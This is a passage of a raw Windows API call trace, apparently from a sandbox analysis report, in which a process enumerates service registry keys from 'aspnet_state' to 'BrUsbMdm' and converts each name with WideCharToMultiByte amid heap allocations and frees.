Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0248.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.840] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0248.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1970, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0248.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.840] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0248.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0248.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.840] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0248.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0248.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.840] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0248.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0248.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f18e0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0248.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.841] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0248.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0248.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.841] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0248.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0248.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.841] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0248.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0248.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.842] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0248.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0248.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.842] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0248.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0248.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.842] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0248.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0248.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.842] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0248.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0248.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.843] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0248.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0248.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.843] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0248.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0248.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.843] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0248.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0248.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.843] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0248.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0248.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.844] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0248.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0248.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.844] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0248.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0248.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.844] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0248.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0248.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.845] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0248.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0248.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.845] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0248.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0248.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.845] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0248.845] RtlAllocateHeap (HeapHandle=0x2520000, 